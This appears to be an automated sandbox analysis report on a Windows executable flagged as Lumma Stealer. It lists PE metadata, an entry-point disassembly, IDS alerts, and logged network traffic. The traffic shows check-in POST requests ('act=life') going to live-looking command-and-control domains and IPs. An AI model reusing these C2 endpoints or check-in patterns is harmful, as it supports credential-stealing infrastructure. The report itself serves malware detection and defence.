File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L........H................q.......................@..........................0.......h....@................................

File Icon


Icon Hash:	b2f2f8f0e0e88880

Static PE Info

General

Entrypoint:	0x4796b0
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x0 [Thu Jan 1 00:00:00 1970 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	1
File Version Major:	6
File Version Minor:	1
Subsystem Version Major:	6
Subsystem Version Minor:	1
Import Hash:	1aae8bf580c846f39c71c05898e57e88

Entrypoint Preview

Instruction
jmp 00007FB5B4C771D0h
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
sub esp, 28h
mov dword ptr [esp+1Ch], ebx
mov dword ptr [esp+10h], ebp
mov dword ptr [esp+14h], esi
mov dword ptr [esp+18h], edi
mov dword ptr [esp], eax
mov dword ptr [esp+04h], ecx
call 00007FB5B4C521D6h
mov eax, dword ptr [esp+08h]
mov edi, dword ptr [esp+18h]
mov esi, dword ptr [esp+14h]
mov ebp, dword ptr [esp+10h]
mov ebx, dword ptr [esp+1Ch]
add esp, 28h
retn 0004h
ret
int3
int3
int3
int3
int3
int3
sub esp, 08h
mov ecx, dword ptr [esp+0Ch]
mov edx, dword ptr [ecx]
mov eax, esp
mov dword ptr [edx+04h], eax
sub eax, 00010000h
mov dword ptr [edx], eax
add eax, 00000BA0h
mov dword ptr [edx+08h], eax
mov dword ptr [edx+0Ch], eax
lea edi, dword ptr [ecx+34h]
mov dword ptr [edx+18h], ecx
mov dword ptr [edi], edx
mov dword ptr [esp+04h], edi
call 00007FB5B4C79634h
cld
call 00007FB5B4C786BEh
call 00007FB5B4C772F9h
add esp, 08h
ret
jmp 00007FB5B4C794E0h
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
mov ebx, dword ptr [esp+04h]
mov ebp, esp
mov dword ptr fs:[00000034h], 00000000h
mov ecx, dword ptr [ebx+04h]
cmp ecx, 00000000h
je 00007FB5B4C794E1h
mov eax, ecx
shl eax, 02h
sub esp, eax
mov edi, esp
mov esi, dword ptr [ebx+08h]
cld
rep movsd

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xffd000	0x44c	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x1064000	0x2e438	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xffe000	0x64ba0	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0xf726a0	0xb4	.data
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x71b018	0x71b200	21e7f1a607de182bbdf35897cb7cbd57	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x71d000	0x85261c	0x852800	025c3b533d493e64e597d5b4fff8e967	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xf70000	0x8cdc0	0x61800	7c7b03e2d53ecd18bf0dadc7e2d84e5b	False	0.3582256610576923	data	5.48703318555367	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0xffd000	0x44c	0x600	449034e9ad5ade76de43bfa8a20bc50d	False	0.3580729166666667	OpenPGP Public Key	3.874332394538109	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.reloc	0xffe000	0x64ba0	0x64c00	f1d80ad4b469ee811585878c4ec281be	False	0.5567763259925558	data	6.6617831839663655	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
.symtab	0x1063000	0x4	0x200	07b5472d347d42780469fb2654b7fc54	False	0.02734375	data	0.020393135236084953	IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
.rsrc	0x1064000	0x2e438	0x2e600	fa619e78855a02d691639726cd8d32c9	False	0.32628769373315364	data	5.8839350977448355	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x10642fc	0x5d55	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced			0.9973213912024442
RT_ICON	0x106a054	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 67584			0.14030521708269253
RT_ICON	0x107a87c	0x94a8	Device independent bitmap graphic, 96 x 192 x 32, image size 38016			0.25015766239226406
RT_ICON	0x1083d24	0x5488	Device independent bitmap graphic, 72 x 144 x 32, image size 21600			0.28160813308687616
RT_ICON	0x10891ac	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16896			0.26547000472366555
RT_ICON	0x108d3d4	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600			0.3892116182572614
RT_ICON	0x108f97c	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224			0.46669793621013134
RT_ICON	0x1090a24	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400			0.5905737704918033
RT_ICON	0x10913ac	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088			0.6622340425531915
RT_GROUP_ICON	0x1091814	0x84	data			0.7272727272727273
RT_VERSION	0x1091898	0x574	data			0.3008595988538682
RT_MANIFEST	0x1091e0c	0x62c	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.4240506329113924

Imports

DLL

Import

kernel32.dll

WriteFile, WriteConsoleW, WerSetFlags, WerGetFlags, WaitForMultipleObjects, WaitForSingleObject, VirtualQuery, VirtualFree, VirtualAlloc, TlsAlloc, SwitchToThread, SuspendThread, SetWaitableTimer, SetUnhandledExceptionFilter, SetProcessPriorityBoost, SetEvent, SetErrorMode, SetConsoleCtrlHandler, ResumeThread, RaiseFailFastException, PostQueuedCompletionStatus, LoadLibraryW, LoadLibraryExW, SetThreadContext, GetThreadContext, GetSystemInfo, GetSystemDirectoryA, GetStdHandle, GetQueuedCompletionStatusEx, GetProcessAffinityMask, GetProcAddress, GetErrorMode, GetEnvironmentStringsW, GetCurrentThreadId, GetConsoleMode, FreeEnvironmentStringsW, ExitProcess, DuplicateHandle, CreateWaitableTimerExW, CreateThread, CreateIoCompletionPort, CreateEventA, CloseHandle, AddVectoredExceptionHandler

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	Protocol	SID	Signature	Severity	Source Port	Dest Port	Source IP	Dest IP
2024-08-31T21:10:09.989988+0200	TCP	2055493	ET MALWARE Lumma Stealer Domain in TLS SNI (traineiwnqo .shop)	1	49732	443	192.168.2.4	188.114.96.3
2024-08-31T21:10:10.910343+0200	TCP	2055493	ET MALWARE Lumma Stealer Domain in TLS SNI (traineiwnqo .shop)	1	49733	443	192.168.2.4	188.114.96.3
2024-08-31T21:10:08.990230+0200	TCP	2055489	ET MALWARE Lumma Stealer Domain in TLS SNI (locatedblsoqp .shop)	1	49731	443	192.168.2.4	188.114.96.3
2024-08-31T21:10:09.511797+0200	UDP	2055483	ET MALWARE Lumma Stealer Domain in DNS Lookup (traineiwnqo .shop)	1	64510	53	192.168.2.4	1.1.1.1
2024-08-31T21:10:10.166995+0200	TCP	2049836	ET MALWARE Lumma Stealer Related Activity	1	49732	443	192.168.2.4	188.114.96.3
2024-08-31T21:10:10.166995+0200	TCP	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	49732	443	192.168.2.4	188.114.96.3
2024-08-31T21:10:11.436907+0200	TCP	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	49733	443	192.168.2.4	188.114.96.3
2024-08-31T21:10:11.436907+0200	TCP	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	49733	443	192.168.2.4	188.114.96.3
2024-08-31T21:10:09.506016+0200	TCP	2049836	ET MALWARE Lumma Stealer Related Activity	1	49731	443	192.168.2.4	188.114.96.3
2024-08-31T21:10:09.506016+0200	TCP	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	49731	443	192.168.2.4	188.114.96.3
2024-08-31T21:10:08.487141+0200	TCP	2049836	ET MALWARE Lumma Stealer Related Activity	1	49730	443	192.168.2.4	104.21.69.149
2024-08-31T21:10:08.487141+0200	TCP	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	49730	443	192.168.2.4	104.21.69.149
2024-08-31T21:10:08.512604+0200	UDP	2055479	ET MALWARE Lumma Stealer Domain in DNS Lookup (locatedblsoqp .shop)	1	65410	53	192.168.2.4	1.1.1.1

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 31, 2024 21:10:07.505351067 CEST	49730	443	192.168.2.4	104.21.69.149
Aug 31, 2024 21:10:07.505393028 CEST	443	49730	104.21.69.149	192.168.2.4
Aug 31, 2024 21:10:07.505460024 CEST	49730	443	192.168.2.4	104.21.69.149
Aug 31, 2024 21:10:07.530114889 CEST	49730	443	192.168.2.4	104.21.69.149
Aug 31, 2024 21:10:07.530131102 CEST	443	49730	104.21.69.149	192.168.2.4
Aug 31, 2024 21:10:08.021507025 CEST	443	49730	104.21.69.149	192.168.2.4
Aug 31, 2024 21:10:08.021574974 CEST	49730	443	192.168.2.4	104.21.69.149
Aug 31, 2024 21:10:08.023972034 CEST	49730	443	192.168.2.4	104.21.69.149
Aug 31, 2024 21:10:08.023978949 CEST	443	49730	104.21.69.149	192.168.2.4
Aug 31, 2024 21:10:08.024180889 CEST	443	49730	104.21.69.149	192.168.2.4
Aug 31, 2024 21:10:08.067917109 CEST	49730	443	192.168.2.4	104.21.69.149
Aug 31, 2024 21:10:08.069905043 CEST	49730	443	192.168.2.4	104.21.69.149
Aug 31, 2024 21:10:08.069905043 CEST	49730	443	192.168.2.4	104.21.69.149
Aug 31, 2024 21:10:08.069997072 CEST	443	49730	104.21.69.149	192.168.2.4
Aug 31, 2024 21:10:08.487154007 CEST	443	49730	104.21.69.149	192.168.2.4
Aug 31, 2024 21:10:08.487247944 CEST	443	49730	104.21.69.149	192.168.2.4
Aug 31, 2024 21:10:08.487335920 CEST	49730	443	192.168.2.4	104.21.69.149
Aug 31, 2024 21:10:08.489404917 CEST	49730	443	192.168.2.4	104.21.69.149
Aug 31, 2024 21:10:08.489428043 CEST	443	49730	104.21.69.149	192.168.2.4
Aug 31, 2024 21:10:08.527875900 CEST	49731	443	192.168.2.4	188.114.96.3
Aug 31, 2024 21:10:08.527900934 CEST	443	49731	188.114.96.3	192.168.2.4
Aug 31, 2024 21:10:08.527987003 CEST	49731	443	192.168.2.4	188.114.96.3
Aug 31, 2024 21:10:08.528275967 CEST	49731	443	192.168.2.4	188.114.96.3
Aug 31, 2024 21:10:08.528295040 CEST	443	49731	188.114.96.3	192.168.2.4
Aug 31, 2024 21:10:08.990135908 CEST	443	49731	188.114.96.3	192.168.2.4
Aug 31, 2024 21:10:08.990230083 CEST	49731	443	192.168.2.4	188.114.96.3
Aug 31, 2024 21:10:08.993062019 CEST	49731	443	192.168.2.4	188.114.96.3
Aug 31, 2024 21:10:08.993071079 CEST	443	49731	188.114.96.3	192.168.2.4
Aug 31, 2024 21:10:08.993297100 CEST	443	49731	188.114.96.3	192.168.2.4
Aug 31, 2024 21:10:08.994645119 CEST	49731	443	192.168.2.4	188.114.96.3
Aug 31, 2024 21:10:08.994674921 CEST	49731	443	192.168.2.4	188.114.96.3
Aug 31, 2024 21:10:08.994716883 CEST	443	49731	188.114.96.3	192.168.2.4
Aug 31, 2024 21:10:09.506026030 CEST	443	49731	188.114.96.3	192.168.2.4
Aug 31, 2024 21:10:09.506130934 CEST	443	49731	188.114.96.3	192.168.2.4
Aug 31, 2024 21:10:09.506191015 CEST	49731	443	192.168.2.4	188.114.96.3
Aug 31, 2024 21:10:09.506359100 CEST	49731	443	192.168.2.4	188.114.96.3
Aug 31, 2024 21:10:09.506370068 CEST	443	49731	188.114.96.3	192.168.2.4
Aug 31, 2024 21:10:09.506382942 CEST	49731	443	192.168.2.4	188.114.96.3
Aug 31, 2024 21:10:09.506387949 CEST	443	49731	188.114.96.3	192.168.2.4
Aug 31, 2024 21:10:09.532603979 CEST	49732	443	192.168.2.4	188.114.96.3
Aug 31, 2024 21:10:09.532634974 CEST	443	49732	188.114.96.3	192.168.2.4
Aug 31, 2024 21:10:09.532715082 CEST	49732	443	192.168.2.4	188.114.96.3
Aug 31, 2024 21:10:09.533005953 CEST	49732	443	192.168.2.4	188.114.96.3
Aug 31, 2024 21:10:09.533020020 CEST	443	49732	188.114.96.3	192.168.2.4
Aug 31, 2024 21:10:09.989921093 CEST	443	49732	188.114.96.3	192.168.2.4
Aug 31, 2024 21:10:09.989988089 CEST	49732	443	192.168.2.4	188.114.96.3
Aug 31, 2024 21:10:10.022105932 CEST	49732	443	192.168.2.4	188.114.96.3
Aug 31, 2024 21:10:10.022125959 CEST	443	49732	188.114.96.3	192.168.2.4
Aug 31, 2024 21:10:10.022363901 CEST	443	49732	188.114.96.3	192.168.2.4
Aug 31, 2024 21:10:10.068034887 CEST	49732	443	192.168.2.4	188.114.96.3
Aug 31, 2024 21:10:10.069255114 CEST	49732	443	192.168.2.4	188.114.96.3
Aug 31, 2024 21:10:10.069269896 CEST	49732	443	192.168.2.4	188.114.96.3
Aug 31, 2024 21:10:10.069324017 CEST	443	49732	188.114.96.3	192.168.2.4
Aug 31, 2024 21:10:10.166996956 CEST	443	49732	188.114.96.3	192.168.2.4
Aug 31, 2024 21:10:10.167037010 CEST	443	49732	188.114.96.3	192.168.2.4
Aug 31, 2024 21:10:10.167064905 CEST	443	49732	188.114.96.3	192.168.2.4
Aug 31, 2024 21:10:10.167084932 CEST	49732	443	192.168.2.4	188.114.96.3
Aug 31, 2024 21:10:10.167090893 CEST	443	49732	188.114.96.3	192.168.2.4
Aug 31, 2024 21:10:10.167102098 CEST	443	49732	188.114.96.3	192.168.2.4
Aug 31, 2024 21:10:10.167129040 CEST	49732	443	192.168.2.4	188.114.96.3
Aug 31, 2024 21:10:10.167176962 CEST	443	49732	188.114.96.3	192.168.2.4
Aug 31, 2024 21:10:10.167224884 CEST	49732	443	192.168.2.4	188.114.96.3
Aug 31, 2024 21:10:10.271466970 CEST	49732	443	192.168.2.4	188.114.96.3
Aug 31, 2024 21:10:10.271476984 CEST	443	49732	188.114.96.3	192.168.2.4
Aug 31, 2024 21:10:10.271507025 CEST	49732	443	192.168.2.4	188.114.96.3
Aug 31, 2024 21:10:10.271512032 CEST	443	49732	188.114.96.3	192.168.2.4
Aug 31, 2024 21:10:10.424797058 CEST	49733	443	192.168.2.4	188.114.96.3
Aug 31, 2024 21:10:10.424823046 CEST	443	49733	188.114.96.3	192.168.2.4
Aug 31, 2024 21:10:10.424885988 CEST	49733	443	192.168.2.4	188.114.96.3
Aug 31, 2024 21:10:10.425432920 CEST	49733	443	192.168.2.4	188.114.96.3
Aug 31, 2024 21:10:10.425447941 CEST	443	49733	188.114.96.3	192.168.2.4
Aug 31, 2024 21:10:10.910243034 CEST	443	49733	188.114.96.3	192.168.2.4
Aug 31, 2024 21:10:10.910342932 CEST	49733	443	192.168.2.4	188.114.96.3
Aug 31, 2024 21:10:10.911813974 CEST	49733	443	192.168.2.4	188.114.96.3
Aug 31, 2024 21:10:10.911823988 CEST	443	49733	188.114.96.3	192.168.2.4
Aug 31, 2024 21:10:10.912048101 CEST	443	49733	188.114.96.3	192.168.2.4
Aug 31, 2024 21:10:10.913249969 CEST	49733	443	192.168.2.4	188.114.96.3
Aug 31, 2024 21:10:10.913280964 CEST	49733	443	192.168.2.4	188.114.96.3
Aug 31, 2024 21:10:10.913321972 CEST	443	49733	188.114.96.3	192.168.2.4
Aug 31, 2024 21:10:11.436897993 CEST	443	49733	188.114.96.3	192.168.2.4
Aug 31, 2024 21:10:11.436974049 CEST	443	49733	188.114.96.3	192.168.2.4
Aug 31, 2024 21:10:11.437033892 CEST	49733	443	192.168.2.4	188.114.96.3
Aug 31, 2024 21:10:11.437196970 CEST	49733	443	192.168.2.4	188.114.96.3
Aug 31, 2024 21:10:11.437206984 CEST	443	49733	188.114.96.3	192.168.2.4
Aug 31, 2024 21:10:11.437218904 CEST	49733	443	192.168.2.4	188.114.96.3
Aug 31, 2024 21:10:11.437222958 CEST	443	49733	188.114.96.3	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 31, 2024 21:10:07.467325926 CEST	57599	53	192.168.2.4	1.1.1.1
Aug 31, 2024 21:10:07.480309963 CEST	53	57599	1.1.1.1	192.168.2.4
Aug 31, 2024 21:10:08.512603998 CEST	65410	53	192.168.2.4	1.1.1.1
Aug 31, 2024 21:10:08.525922060 CEST	53	65410	1.1.1.1	192.168.2.4
Aug 31, 2024 21:10:09.511796951 CEST	64510	53	192.168.2.4	1.1.1.1
Aug 31, 2024 21:10:09.531887054 CEST	53	64510	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Aug 31, 2024 21:10:07.467325926 CEST	192.168.2.4	1.1.1.1	0xbc6c	Standard query (0)	tenseddrywsqio.shop	A (IP address)	IN (0x0001)	false
Aug 31, 2024 21:10:08.512603998 CEST	192.168.2.4	1.1.1.1	0xa624	Standard query (0)	locatedblsoqp.shop	A (IP address)	IN (0x0001)	false
Aug 31, 2024 21:10:09.511796951 CEST	192.168.2.4	1.1.1.1	0x7a2d	Standard query (0)	traineiwnqo.shop	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Aug 31, 2024 21:10:07.480309963 CEST	1.1.1.1	192.168.2.4	0xbc6c	No error (0)	tenseddrywsqio.shop	104.21.69.149	A (IP address)	IN (0x0001)	false
Aug 31, 2024 21:10:07.480309963 CEST	1.1.1.1	192.168.2.4	0xbc6c	No error (0)	tenseddrywsqio.shop	172.67.209.93	A (IP address)	IN (0x0001)	false
Aug 31, 2024 21:10:08.525922060 CEST	1.1.1.1	192.168.2.4	0xa624	No error (0)	locatedblsoqp.shop	188.114.96.3	A (IP address)	IN (0x0001)	false
Aug 31, 2024 21:10:08.525922060 CEST	1.1.1.1	192.168.2.4	0xa624	No error (0)	locatedblsoqp.shop	188.114.97.3	A (IP address)	IN (0x0001)	false
Aug 31, 2024 21:10:09.531887054 CEST	1.1.1.1	192.168.2.4	0x7a2d	No error (0)	traineiwnqo.shop	188.114.96.3	A (IP address)	IN (0x0001)	false
Aug 31, 2024 21:10:09.531887054 CEST	1.1.1.1	192.168.2.4	0x7a2d	No error (0)	traineiwnqo.shop	188.114.97.3	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

tenseddrywsqio.shop

locatedblsoqp.shop

traineiwnqo.shop

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	104.21.69.149	443	6772	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-31 19:10:08 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: tenseddrywsqio.shop
2024-08-31 19:10:08 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-08-31 19:10:08 UTC	804	IN	HTTP/1.1 200 OK Date: Sat, 31 Aug 2024 19:10:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=62mlf87k00h58fbnohlhlagjf8; expires=Wed, 25 Dec 2024 12:56:47 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9ygUSdx7qSAJ6kHRfK5A9KuS9X9W0mwbBJ%2B9RmR7uFSCdXKnMOp0XX5nHaCljazvErdBc3M%2BkAVgSr8OyTarEt82HqmPpYIkHbet0EavCFvAIMZ%2B1%2BGYqLfKFmqow4F3bUT%2FMcrz"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8bbf51a4bc1a4316-EWR alt-svc: h3=":443"; ma=86400
2024-08-31 19:10:08 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-08-31 19:10:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	188.114.96.3	443	6772	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-31 19:10:08 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: locatedblsoqp.shop
2024-08-31 19:10:08 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-08-31 19:10:09 UTC	806	IN	HTTP/1.1 200 OK Date: Sat, 31 Aug 2024 19:10:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=a5due6nuq0t87f2trk2e5ps0an; expires=Wed, 25 Dec 2024 12:56:48 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LsUccP9tkN7yVV3c65xBOAcY%2FyjliemjDVSdgNXtgF%2Be9Xkn5qkO8RH%2BM8AQQPVPSF5hxm1XyOlu9xtK7DmsBTuXeoAjtBu3l1uNRDFf7OQDWcr5%2B%2BNorbsUi9PfcSXfKjTUQtY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8bbf51aabcee7c7c-EWR alt-svc: h3=":443"; ma=86400
2024-08-31 19:10:09 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-08-31 19:10:09 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49732	188.114.96.3	443	6772	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-31 19:10:10 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: traineiwnqo.shop
2024-08-31 19:10:10 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-08-31 19:10:10 UTC	541	IN	HTTP/1.1 200 OK Date: Sat, 31 Aug 2024 19:10:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=luS6Oz9bBBD9Bk4Jq8Zck9fzxnYNNYCOX0bdECvNp22KxueGKR0cSB2iWzyFpqH8oZkR4DTezJmBiSa%2FItpGmzqaJr87f4dh6iJrqc1m5Br6RL6OFfLySeaVFOiQzUrjJtL7"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8bbf51b13abc4367-EWR
2024-08-31 19:10:10 UTC	828	IN	Data Raw: 31 31 32 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 112d<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2024-08-31 19:10:10 UTC	1369	IN	Data Raw: 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 29 20 7b 0a 20 20 20 20 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 27 2c 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 20 20 20 20 76 61 72 20 63 6f 6f 6b 69 65 45 6c 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 27 63 6f 6f 6b 69 65 2d 61 6c 65 72 74 27 29 Data Ascii: ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.cookieEnabled) { window.addEventListener('DOMContentLoaded', function () { var cookieEl = document.getElementById('cookie-alert')
